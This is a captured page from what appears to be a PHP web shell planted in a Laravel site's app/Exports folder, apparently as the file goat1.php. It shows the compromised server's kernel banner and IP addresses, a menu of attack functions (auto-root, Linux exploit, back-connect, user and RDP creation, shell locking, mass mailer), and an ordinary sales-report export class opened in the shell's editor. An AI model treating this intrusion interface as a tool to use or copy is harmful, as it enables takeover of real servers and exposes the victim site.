Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.78
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo1.com /
app /
Exports /
[ HOME SHELL ]
Name
Size
Permission
Action
ExpenseWarehouseReportExport.p...
1.29
KB
-rw-r--r--
ProductExcelExport.php
888
B
-rw-r--r--
ProductPurchaseReportExport.ph...
606
B
-rw-r--r--
ProductPurchaseReturnReportExp...
672
B
-rw-r--r--
ProductSaleReportExport.php
569
B
-rw-r--r--
ProductSaleReturnReportExport....
637
B
-rw-r--r--
PurchaseReportExport.php
1.49
KB
-rw-r--r--
PurchaseReturnWarehouseReportE...
1.45
KB
-rw-r--r--
PurchasesWarehouseReportExport...
855
B
-rw-r--r--
SaleReportExport.php
1.37
KB
-rw-r--r--
SaleReturnWarehouseReportExpor...
1.18
KB
-rw-r--r--
SalesWarehouseReportExport.php
1.11
KB
-rw-r--r--
StockReportExport.php
1013
B
-rw-r--r--
TopSellingProductReportExport....
2.54
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TopSellingProductReportExport.php
<?php namespace App\Exports; use App\Models\FiscalYear; use App\Models\Product; use Carbon\Carbon; use Maatwebsite\Excel\Concerns\FromView; class TopSellingProductReportExport implements FromView { public function view(): \Illuminate\Contracts\View\View { $hasDateRange = request()->get('start_date') && request()->get('start_date') && request()->get('start_date') != 'null' && request()->get('start_date') != 'null'; if ($hasDateRange) { $startDate = Carbon::parse(request()->get('start_date'))->toDateTimeString(); $endDate = Carbon::parse(request()->get('end_date'))->toDateTimeString(); $topSelling = Product::leftJoin('sale_items', 'products.id', '=', 'sale_items.product_id') ->whereDate('sale_items.created_at', '>=', $startDate) ->whereDate('sale_items.created_at', '<=', $endDate) ->selectRaw('products.*, COALESCE(sum(sale_items.sub_total),0) grand_total') ->selectRaw('products.*, COALESCE(sum(sale_items.quantity),0) total_quantity') ->groupBy('products.id') ->orderBy('total_quantity', 'desc') ->latest(); } else { $topSelling = Product::leftJoin('sale_items', 'products.id', '=', 'sale_items.product_id') ->selectRaw('products.*, COALESCE(sum(sale_items.sub_total),0) grand_total') ->selectRaw('products.*, COALESCE(sum(sale_items.quantity),0) total_quantity') ->groupBy('products.id') ->orderBy('total_quantity', 'desc') ->latest(); } $fiscalYear = null; if (isFiscalYearFilterEnabled()) { $fiscalYearId = request()->get('fiscal_year_id'); $fiscalYear = !empty($fiscalYearId) && $fiscalYearId != 'null' ? FiscalYear::find($fiscalYearId) : FiscalYear::where('is_active', true)->first(); } if (!$hasDateRange && $fiscalYear) { $topSelling->whereDate('sale_items.created_at', '>=', $fiscalYear->start_date) ->whereDate('sale_items.created_at', '<=', $fiscalYear->end_date); } $topSelling = $topSelling->get(); $topSellingProducts = []; foreach ($topSelling as $topSelling) { $topSellingProducts[] = $topSelling->prepareTopSellingReport(); // if ($topSelling->total_quantity != 0) { // } } return view('excel.top-selling-product-report-excel', ['topSellingProducts' => $topSellingProducts]); } }
Close
